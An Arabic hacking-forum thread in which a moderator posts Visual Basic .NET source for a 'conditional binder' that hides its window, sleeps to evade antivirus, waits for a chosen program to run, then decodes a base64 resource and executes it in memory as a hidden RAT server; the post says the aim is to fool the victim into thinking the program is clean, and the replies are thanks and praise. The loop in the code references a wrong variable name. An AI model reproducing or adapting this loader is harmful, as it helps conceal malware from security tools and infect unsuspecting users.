1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : ♛ G H O S T ♛ | المشاهدات : 791 | الردود : 16
حالة الموضوع:
مغلق
  1. ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    578
    الإعجابات المتلقاة:
    465
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    السلام عليكم ورحمة


    شلونكم اعضاء وزوار منتدى عراق تيم انشالله بخير يارب




    تلغـيمة شرطية تعمل بوجد برنامج معين او تشغيـلة
    تحول سيرفرك الى قيــم

    ميزات التلغيــمات الشرطية :
    حفاظ على تشفيرة سيرفر
    تتخطى العقول
    استخدام السليب :
    تاخير في تشغيل التلغيمة لتخطي حمايات الاستباقية
    توهيــم الضحية بأن البرنامج نضيف



    [FONT=tahoma, geneva, lucida, lucida grande, arial, helvetica, sans-serif]كود Visual Basic[/FONT]


    كود:
    
    Imports System.Reflection
    Public Class Form1
    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
    System.Threading.Thread.Sleep(1000) ' تاخير في تشغيل برنامج
    Me.Hide()
    Me.ShowIcon = False
    Me.ShowInTaskbar = False
    Opacity = 0
    Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
    System.Threading.Thread.Sleep(50000) ' تاخير في تشغيل التلغيمة لتخطي حمايات الاستباقية
    Dim جوني() As Process = System.Diagnostics.Process.GetProcessesByName("اسم برنامج") 'شرط تلغيمة تشغيل برنامج 
    For Each VO As Process In محمد الاسدي
    Timer1.Stop()
    Text = "شبح ذي قار "
    Next
    If Text = "شبح ذي قار" Then
    Dim Gladio As String = My.Resources.القيم
    Dim asde() As Byte = Convert.FromBase64String(Gladio)
    Dim mmm As Assembly = Assembly.Load(asde)
    mmm.EntryPoint.Invoke(Nothing, Nothing)
    End If
    End Sub
    End Class
    
    *=== تحديد كود ===*

    تحياتي لكم


    الى الجميع


    (بدون استثناء)



     
    1 person likes this.
  2. مرتضى العراقي Developer

    الأنتساب:
    ‏1 يونيو 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    رد: تلغيمة شرطية تتخطى العقول

    عشت :*
     
  3. علي حليم الاسدي Developer

    الأنتساب:
    ‏10 يونيو 2015
    المشاركات:
    3
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: تلغيمة شرطية تتخطى العقول

    عاشت الايادي {1!$8}
     
  4. Mira Mrmr .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    696
    الإعجابات المتلقاة:
    148
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: تلغيمة شرطية تتخطى العقول

    عاشت ايدك اخي ^^ فعلا التأخير بالسيرفر يسبب مشكله عند الفاحص
     
  5. Abdullah Developer

    الأنتساب:
    ‏30 مارس 2012
    المشاركات:
    44
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    الوظيفة:
    مصمم
    نظام التشغيل:
    windows 7
    رد: تلغيمة شرطية تتخطى العقول

    جزاك الله خير ماقصرت حبيبي .. ​
     
  6. اللورد احمد Developer

    الأنتساب:
    ‏28 يونيو 2015
    المشاركات:
    27
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    15
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: تلغيمة شرطية تتخطى العقول

    شرح رائع وجميل بارك الله فيك على الجهد ياحبيبي
    AllOrD S.C.E
     
  7. Oxygen Developer

    الأنتساب:
    ‏4 ابريل 2012
    المشاركات:
    51
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    30
    نظام التشغيل:
    Linux
    رد: تلغيمة شرطية تتخطى العقول

    يعطيك العافية :{1}:
     
  8. Alialiraqi Developer

    الأنتساب:
    ‏4 يونيو 2015
    المشاركات:
    14
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    الإقامة:
    ارض الله الواسعه :)
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمة شرطية تتخطى العقول

    بارك الله فيك على الجهد {3$0}
     
  9. ♛ G H O S T ♛ مراقب عآم

    الأنتساب:
    ‏12 ابريل 2015
    المشاركات:
    578
    الإعجابات المتلقاة:
    465
    نقاط الجائزة:
    515
    الجنس:
    ذكر
    الإقامة:
    IRAQ
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: تلغيمة شرطية تتخطى العقول

    انرتو الموضوع حبايبي
     
  10. ابن العصائب New Developer

    الأنتساب:
    ‏11 أغسطس 2015
    المشاركات:
    1
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    5
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: تلغيمة شرطية تتخطى العقول

    جميل يعطيك العافيه [​IMG]
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة